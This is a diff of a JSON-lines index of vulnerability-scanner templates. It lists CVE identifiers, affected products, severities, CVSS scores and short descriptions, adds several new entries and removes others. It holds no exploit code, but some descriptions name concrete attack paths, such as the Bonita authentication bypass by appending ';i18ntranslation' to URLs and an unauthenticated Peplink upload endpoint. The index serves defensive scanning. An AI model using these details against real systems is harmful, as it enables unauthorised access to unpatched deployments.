 {"ID":"CVE-2022-2376","Info":{"Name":"WordPress Directorist \u003c7.3.1 - Information Disclosure","Severity":"medium","Description":"WordPress Directorist plugin before 7.3.1 is susceptible to information disclosure. The plugin discloses the email address of all users in an AJAX action available to both unauthenticated and authenticated users.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-2376.yaml"}
@@ -1801,6 +1804,7 @@
 {"ID":"CVE-2022-25149","Info":{"Name":"WordPress Plugin WP Statistics \u003c= 13.1.5 - SQL Injection","Severity":"high","Description":"The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the IP parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-25149.yaml"}
 {"ID":"CVE-2022-25216","Info":{"Name":"DVDFab 12 Player/PlayerFab - Local File Inclusion","Severity":"high","Description":"DVDFab 12 Player/PlayerFab is susceptible to local file inclusion which allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-25216.yaml"}
 {"ID":"CVE-2022-25226","Info":{"Name":"ThinVNC - Authentication Bypass","Severity":"critical","Description":"ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2022/CVE-2022-25226.yaml"}
+{"ID":"CVE-2022-25237","Info":{"Name":"Bonita Web 2021.2 - Authentication/Authorization Bypass","Severity":"critical","Description":"Bonita Web 2021.2 contains an authentication/authorization bypass vulnerability caused by an overly broad exclude pattern in RestAPIAuthorizationFilter, allowing unauthenticated users to access privileged API endpoints by appending ;i18ntranslation or /../i18ntranslation/ to the URL.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-25237.yaml"}
 {"ID":"CVE-2022-25323","Info":{"Name":"ZEROF Web Server 2.0 - Cross-Site Scripting","Severity":"medium","Description":"ZEROF Web Server 2.0 allows /admin.back cross-site scripting.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-25323.yaml"}
 {"ID":"CVE-2022-2535","Info":{"Name":"SearchWP Live Ajax Search \u003c 1.6.2 - Unauthenticated Arbitrary Post Title Disclosure","Severity":"medium","Description":"The plugin does not ensure that users making. alive search are limited to published posts only, allowing unauthenticated users to make a crafted query disclosing private/draft/pending post titles along with their permalink\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-2535.yaml"}
 {"ID":"CVE-2022-25356","Info":{"Name":"Alt-n/MDaemon Security Gateway \u003c=8.5.0 - XML Injection","Severity":"medium","Description":"Alt-n/MDaemon Security Gateway through 8.5.0 is susceptible to XML injection via SecurityGateway.dll?view=login. An attacker can inject an arbitrary XML argument by adding a new parameter in the HTTP request URL. As a result, the XML parser fails the validation process and discloses information such as protection used (2FA), admin email, and product registration keys.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-25356.yaml"}
@@ -2266,7 +2270,6 @@
 {"ID":"CVE-2023-29623","Info":{"Name":"Purchase Order Management v1.0 - Cross Site Scripting (Reflected)","Severity":"medium","Description":"Purchase Order Management v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the password parameter at /purchase_order/classes/login.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-29623.yaml"}
 {"ID":"CVE-2023-2982","Info":{"Name":"Miniorange Social Login and Register \u003c= 7.6.3 - Authentication Bypass","Severity":"critical","Description":"The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-2982.yaml"}
 {"ID":"CVE-2023-29827","Info":{"Name":"Embedded JavaScript(EJS) 3.1.6 - Template Injection","Severity":"critical","Description":"ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-29827.yaml"}
-{"ID":"CVE-2023-2986","Info":{"Name":"Abandoned Cart Lite for WooCommerce - Authentication Bypass","Severity":"critical","Description":"The Abandoned Cart Lite for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.14.2. This is due to insufficient encryption on the user being supplied during the abandoned cart link decode through the plugin. This allows unauthenticated attackers to log in as users who have abandoned the cart, who are typically customers. Further security hardening was introduced in version 5.15.1 that ensures sites are no longer vulnerable through historical check-out links, and additional hardening was introduced in version 5.15.2 that ensured null key values wouldn't permit the authentication bypass.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-2986.yaml"}
 {"ID":"CVE-2023-29887","Info":{"Name":"Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion","Severity":"high","Description":"A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-29887.yaml"}
 {"ID":"CVE-2023-29919","Info":{"Name":"SolarView Compact \u003c= 6.00 - Local File Inclusion","Severity":"critical","Description":"There is an arbitrary read file vulnerability in SolarView Compact 6.00 and below, attackers can bypass authentication to read files through texteditor.php\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2023/CVE-2023-29919.yaml"}
 {"ID":"CVE-2023-29922","Info":{"Name":"PowerJob V4.3.1 - Authentication Bypass","Severity":"medium","Description":"PowerJob V4.3.1 is vulnerable to Incorrect Access Control via the create user/save interface.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-29922.yaml"}
@@ -2372,6 +2375,7 @@
 {"ID":"CVE-2023-37679","Info":{"Name":"NextGen Mirth Connect - Remote Code Execution","Severity":"critical","Description":"Mirth Connect, by NextGen HealthCare, is an open source data integration platform widely used by healthcare companies. Versions prior to 4.4.1 are vulnerable to an unauthenticated remote code execution vulnerability\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-37679.yaml"}
 {"ID":"CVE-2023-37728","Info":{"Name":"IceWarp Webmail Server v10.2.1 - Cross Site Scripting","Severity":"medium","Description":"Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37728.yaml"}
 {"ID":"CVE-2023-37979","Info":{"Name":"Ninja Forms \u003c 3.6.26 - Cross-Site Scripting","Severity":"medium","Description":"The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37979.yaml"}
+{"ID":"CVE-2023-37988","Info":{"Name":"Contact Form Generator \u003c= 2.5.5 - Cross-Site Scripting","Severity":"medium","Description":"The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37988.yaml"}
 {"ID":"CVE-2023-38035","Info":{"Name":"Ivanti Sentry - Authentication Bypass","Severity":"critical","Description":"A security vulnerability in MICS Admin Portal in Ivanti MobileIron Sentry versions 9.18.0 and below, which may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-38035.yaml"}
 {"ID":"CVE-2023-38040","Info":{"Name":"Revive Adserver 5.4.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected XSS vulnerability exists in Revive Adserver 5.4.1 and earlier versions.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38040.yaml"}
 {"ID":"CVE-2023-38192","Info":{"Name":"SuperWebMailer 9.00.0.01710 - Cross-Site Scripting","Severity":"medium","Description":"An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38192.yaml"}
@@ -2520,6 +2524,7 @@
 {"ID":"CVE-2023-48777","Info":{"Name":"WordPress Elementor 3.18.1 - File Upload/Remote Code Execution","Severity":"critical","Description":"The plugin is vulnerable to Remote Code Execution via file upload via the template import functionality, allowing authenticated attackers, with contributor-level access and above, to upload files and execute code on the server.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2023/CVE-2023-48777.yaml"}
 {"ID":"CVE-2023-49070","Info":{"Name":"Apache OFBiz \u003c 18.12.10 - Arbitrary Code Execution","Severity":"critical","Description":"Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-49070.yaml"}
 {"ID":"CVE-2023-49103","Info":{"Name":"OwnCloud - Phpinfo Configuration","Severity":"high","Description":"An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment (phpinfo). This information includes all the environment variables of the webserver. In containerized deployments, these environment variables may include sensitive data such as the ownCloud admin password, mail server credentials, and license key. Simply disabling the graphapi app does not eliminate the vulnerability. Additionally, phpinfo exposes various other potentially sensitive configuration details that could be exploited by an attacker to gather information about the system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-49103.yaml"}
+{"ID":"CVE-2023-49230","Info":{"Name":"Peplink Balance Two before 8.4.0 - Unauthenticated Config Upload","Severity":"high","Description":"A vulnerability in Peplink Balance Two prior to version 8.4.0 allows unauthenticated attackers to modify captive portal configurations due to a missing authorization check. Specifically, attackers can upload files via /guest/portal_admin_upload.cgi, with the changes reflected at /guest/preview.cgi?portal_id=1.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-49230.yaml"}
 {"ID":"CVE-2023-49489","Info":{"Name":"KodeExplorer 4.51 - Reflective Cross Site Scripting (XSS)","Severity":"medium","Description":"Reflective Cross Site Scripting (XSS) vulnerability in KodExplorer version 4.51, allows attackers to obtain sensitive information and escalate privileges via the APP_HOST parameter at config/i18n/en/main.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-49489.yaml"}
 {"ID":"CVE-2023-49494","Info":{"Name":"DedeCMS v5.7.111 - Cross-Site Scripting","Severity":"medium","Description":"DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-49494.yaml"}
 {"ID":"CVE-2023-4966","Info":{"Name":"Citrix Bleed - Leaking Session Tokens","Severity":"high","Description":"Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-4966.yaml"}
@@ -2618,6 +2623,7 @@
 {"ID":"CVE-2024-11305","Info":{"Name":"Altenergy Power Control Software - SQL Injection","Severity":"medium","Description":"A vulnerability classified as critical was found in Altenergy Power Control Software up to 20241108. This vulnerability affects the function get_status_zigbee of the file /index.php/display/status_zigbee. The manipulation of the argument date leads to sql injection. The attack can be initiated remotely.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2024/CVE-2024-11305.yaml"}
 {"ID":"CVE-2024-11320","Info":{"Name":"Pandora v7.0NG.777.3 - Remote Code Execution","Severity":"critical","Description":"Arbitrary commands execution on the server by exploiting a command injection vulnerability in the LDAP authentication mechanism.This issue affects Pandora FMS- from 700 through \u003c=777.4\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-11320.yaml"}
 {"ID":"CVE-2024-11396","Info":{"Name":"Event Monster \u003c= 1.4.3 - Information Exposure Via Visitors List Export","Severity":"medium","Description":"The Event Monster Event Management, Tickets Booking, Upcoming Event plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.4.3 via the Visitors List Export file. During the export, a CSV file is created in the wp-content folder with a hardcoded filename that is publicly accessible. This makes it possible for unauthenticated attackers to extract data about event visitors, that includes first and last names, email, and phone number.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-11396.yaml"}
+{"ID":"CVE-2024-11587","Info":{"Name":"idcCMS V1.60 - Cross-Site Scripting","Severity":"medium","Description":"idcCMS V1.60 is vulnerable to reflected cross-site scripting (XSS) via the idName parameter in read.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-11587.yaml"}
 {"ID":"CVE-2024-11680","Info":{"Name":"ProjectSend \u003c= r1605 - Improper Authorization","Severity":"critical","Description":"An improper authorization check was identified within ProjectSend version r1605 that allows an attacker to perform sensitive actions such as enabling user registration and auto validation, or adding new entries in the whitelist of allowed extensions for uploaded files. Ultimately, this allows to execute arbitrary PHP code on the server hosting the application.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-11680.yaml"}
 {"ID":"CVE-2024-11728","Info":{"Name":"KiviCare Clinic \u0026 Patient Management System (EHR) \u003c= 3.6.4 - SQL Injection","Severity":"high","Description":"The KiviCare Clinic \u0026 Patient Management System (EHR) plugin for WordPress is vulnerable to SQL Injection via the 'visit_type[service_id]' parameter of the tax_calculated_data AJAX action in all versions up to, and including, 3.6.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-11728.yaml"}
 {"ID":"CVE-2024-11740","Info":{"Name":"Download Manager \u003c 3.3.04 - Unauthenticated Arbitrary Shortcode Execution","Severity":"high","Description":"The The Download Manager plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.3.03. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-11740.yaml"}
@@ -2652,6 +2658,7 @@
 {"ID":"CVE-2024-20419","Info":{"Name":"Cisco SSM On-Prem \u003c= 8-202206 - Password Reset Account Takeover","Severity":"critical","Description":"A vulnerability in the authentication system of Cisco Smart Software Manager On-Prem (SSM On-Prem) could allow an unauthenticated, remote attacker to change the password of any user, including administrative users. This vulnerability is due to improper implementation of the password-change process.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-20419.yaml"}
 {"ID":"CVE-2024-20439","Info":{"Name":"Hardcoded Admin Credentials For Cisco Smart Licensing Utility API","Severity":"critical","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to log in to an affected system by using a static administrative credential.This vulnerability is due to an undocumented static user credential for an administrative account. An attacker could exploit this vulnerability by using the static credentials to log in to the affected system. A successful exploit could allow the attacker to log in to the affected system with administrative privileges over the API of the Cisco Smart Licensing Utility application.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-20439.yaml"}
 {"ID":"CVE-2024-20440","Info":{"Name":"Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials","Severity":"high","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-20440.yaml"}
+{"ID":"CVE-2024-2053","Info":{"Name":"Artica Proxy  - Unauthenticated LFI","Severity":"high","Description":"The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the \"www-data\" user. This issue was demonstrated on version 4.50 of the The Artica-Proxy administrative web application attempts to prevent local file inclusion. These protections can be bypassed and arbitrary file requests supplied by unauthenticated users will be returned according to the privileges of the \"www-data\" user.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-2053.yaml"}
 {"ID":"CVE-2024-20767","Info":{"Name":"Adobe ColdFusion - Arbitrary File Read","Severity":"high","Description":"ColdFusion versions 2023.6, 2021.12 and earlier are affected by an Improper Access Control vulnerability that could lead to arbitrary file system read. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized access to sensitive files and perform arbitrary file system write. Exploitation of this issue does not require user interaction.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2024/CVE-2024-20767.yaml"}
 {"ID":"CVE-2024-21136","Info":{"Name":"Oracle Retail Xstore Suite - Pre-authenticated Path Traversal","Severity":"high","Description":"Vulnerability in the Oracle Retail Xstore Office product of Oracle Retail Applications (component: Security). Supported versions that are affected are 19.0.5, 20.0.3, 20.0.4, 22.0.0 and 23.0.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Retail Xstore Office. While the vulnerability is in Oracle Retail Xstore Office, attacks may significantly impact additional products (scope change).\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-21136.yaml"}
 {"ID":"CVE-2024-21485","Info":{"Name":"Dash Framework - Cross-site Scripting","Severity":"medium","Description":"Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2024/CVE-2024-21485.yaml"}
@@ -2714,6 +2721,7 @@
 {"ID":"CVE-2024-28987","Info":{"Name":"SolarWinds Web Help Desk - Hardcoded Credential","Severity":"critical","Description":"The SolarWinds Web Help Desk (WHD) software is affected by a hardcoded credential vulnerability, allowing remote unauthenticated user to access internal functionality and modify data.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-28987.yaml"}
 {"ID":"CVE-2024-28995","Info":{"Name":"SolarWinds Serv-U - Directory Traversal","Severity":"high","Description":"SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-28995.yaml"}
 {"ID":"CVE-2024-29059","Info":{"Name":".NET Framework - Leaking ObjRefs via HTTP .NET Remoting","Severity":"high","Description":".NET Framework Information Disclosure Vulnerability","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-29059.yaml"}
+{"ID":"CVE-2024-29198","Info":{"Name":"GeoServer Demo Request Endpoint - Server Side Request Forgery","Severity":"high","Description":"It is possible to achieve Server Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to sensitive data.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-29198.yaml"}
 {"ID":"CVE-2024-29269","Info":{"Name":"Telesquare TLR-2005KSH  - Remote Command Execution","Severity":"critical","Description":"Telesquare Tlr-2005Ksh is a Sk Telecom Lte router from South Korea's Telesquare company.Telesquare TLR-2005Ksh versions 1.0.0 and 1.1.4 have an unauthorized remote command execution vulnerability. An attacker can exploit this vulnerability to execute system commands without authorization through the Cmd parameter and obtain server permissions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-29269.yaml"}
 {"ID":"CVE-2024-29272","Info":{"Name":"VvvebJs \u003c 1.7.5 - Arbitrary File Upload","Severity":"medium","Description":"Arbitrary File Upload vulnerability in VvvebJs before version 1.7.5, allows unauthenticated remote attackers to execute arbitrary code and obtain sensitive information via the sanitizeFileName parameter in save.php.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-29272.yaml"}
 {"ID":"CVE-2024-2928","Info":{"Name":"MLflow \u003c 2.11.3 - Path Traversal","Severity":"high","Description":"MLflow versions prior to 2.11.3 are vulnerable to a Path Traversal attack due to improper URI fragment parsing. This vulnerability allows attackers to read arbitrary files on the server, potentially exposing sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-2928.yaml"}
@@ -2740,7 +2748,7 @@
 {"ID":"CVE-2024-31850","Info":{"Name":"CData Arc \u003c 23.4.8839 - Path Traversal","Severity":"high","Description":"A path traversal vulnerability exists in the Java version of CData Arc \u003c 23.4.8839 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-31850.yaml"}
 {"ID":"CVE-2024-31851","Info":{"Name":"CData Sync \u003c 23.4.8843 - Path Traversal","Severity":"high","Description":"A path traversal vulnerability exists in the Java version of CData Sync \u003c 23.4.8843 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-31851.yaml"}
 {"ID":"CVE-2024-31982","Info":{"Name":"XWiki \u003c 4.10.20 - Remote code execution","Severity":"critical","Description":"XWiki Platform is a generic wiki platform. Starting in version 2.4-milestone-1 and prior to versions 4.10.20, 15.5.4, and 15.10-rc-1, XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1. As a workaround, one may manually apply the patch to the page `Main.DatabaseSearch`. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-31982.yaml"}
-{"ID":"CVE-2024-32113","Info":{"Name":"Apache OFBiz Directory Traversal - Remote Code Execution","Severity":"high","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz.This issue affects Apache OFBiz: before 18.12.13\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-32113.yaml"}
+{"ID":"CVE-2024-32113","Info":{"Name":"Apache OFBiz Directory Traversal - Remote Code Execution","Severity":"high","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.13\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-32113.yaml"}
 {"ID":"CVE-2024-32231","Info":{"Name":"Stash \u003c 0.26.0 -  SQL Injection","Severity":"critical","Description":"Stash up to v0.25.1 was discovered to contain a SQL injection vulnerability via the sort parameter.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-32231.yaml"}
 {"ID":"CVE-2024-32238","Info":{"Name":"H3C ER8300G2-X - Password Disclosure","Severity":"critical","Description":"H3C ER8300G2-X is vulnerable to Incorrect Access Control. The password for the router's management system can be accessed via the management system page login interface.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-32238.yaml"}
 {"ID":"CVE-2024-3234","Info":{"Name":"Chuanhu Chat - Directory Traversal","Severity":"critical","Description":"The gaizhenbiao/chuanhuchatgpt application is vulnerable to a path traversal attack due to its use of an outdated gradio component. The application is designed to restrict user access to resources within the `web_assets` folder. However, the outdated version of gradio it employs is susceptible to path traversal, as identified in CVE-2023-51449. This vulnerability allows unauthorized users to bypass the intended restrictions and access sensitive files, such as `config.json`, which contains API keys. The issue affects the latest version of chuanhuchatgpt prior to the fixed version released on 20240305.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-3234.yaml"}
@@ -2764,6 +2772,7 @@
 {"ID":"CVE-2024-33605","Info":{"Name":"Sharp Multifunction Printers - Directory Listing","Severity":"high","Description":"It was observed that Sharp printers are vulnerable to an arbitrary directory listing without authentication. Any attacker can list any directory located in the printer and recover any file.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-33605.yaml"}
 {"ID":"CVE-2024-33610","Info":{"Name":"Sharp Multifunction Printers - Cookie Exposure","Severity":"medium","Description":"It was observed that Sharp printers are vulnerable to a listing of session cookies without authentication. Any attacker can list valid cookies by visiting a backdoor webpage and use them to authenticate to the printers.","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-33610.yaml"}
 {"ID":"CVE-2024-33724","Info":{"Name":"SOPlanning 1.52.00 Cross Site Scripting","Severity":"medium","Description":"SOPlanning v1.52.00 is vulnerable to XSS via the 'groupe_id' parameters a remote unautheticated attacker can hijack the admin account or other users. The remote attacker can hijack a users session or credentials and perform a takeover of the entire platform.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-33724.yaml"}
+{"ID":"CVE-2024-33832","Info":{"Name":"OneNav v0.9.35-20240318 - Server-Side Request Forgery (SSRF)","Severity":"medium","Description":"OneNav v0.9.35-20240318 is vulnerable to server-side request forgery (SSRF) via the url parameter in the get_link_info API. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-33832.yaml"}
 {"ID":"CVE-2024-3400","Info":{"Name":"GlobalProtect - OS Command Injection","Severity":"critical","Description":"A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-3400.yaml"}
 {"ID":"CVE-2024-34061","Info":{"Name":"Changedetection.io \u003c=v0.45.21 - Cross-Site Scripting","Severity":"medium","Description":"Changedetection.io is a free open source web page change detection, website watcher, restock monitor and notification service. In affected versions Input in parameter notification_urls is not processed resulting in javascript execution in the application. A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content. This issue has been addressed in version 0.45.22. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2024/CVE-2024-34061.yaml"}
 {"ID":"CVE-2024-34102","Info":{"Name":"Adobe Commerce \u0026 Magento - CosmicSting","Severity":"critical","Description":"Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-34102.yaml"}
@@ -2776,13 +2785,14 @@
 {"ID":"CVE-2024-3552","Info":{"Name":"Web Directory Free \u003c 1.7.0 - SQL Injection","Severity":"critical","Description":"The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-3552.yaml"}
 {"ID":"CVE-2024-35584","Info":{"Name":"openSIS \u003c 9.1 - SQL Injection","Severity":"high","Description":"SQL injection vulnerability in Ajax.php, ForWindow.php, ForExport.php, Modules.php, functions/HackingLogFnc.php in OpenSis Community Edition 9.1, 8.0, and possibly earlier versions. It is possible for an authenticated user to perform SQL Injection due to the lack to sanitisation. The application takes arbitrary value from \"X-Forwarded-For\" header and appends it to a SQL INSERT statement directly, leading to SQL Injection.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-35584.yaml"}
 {"ID":"CVE-2024-35627","Info":{"Name":"TileServer API - Cross Site Scripting","Severity":"medium","Description":"tileserver-gl up to v4.4.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /data/v3/?key.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-35627.yaml"}
-{"ID":"CVE-2024-36104","Info":{"Name":"Apache OFBiz - Path Traversal","Severity":"critical","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36104.yaml"}
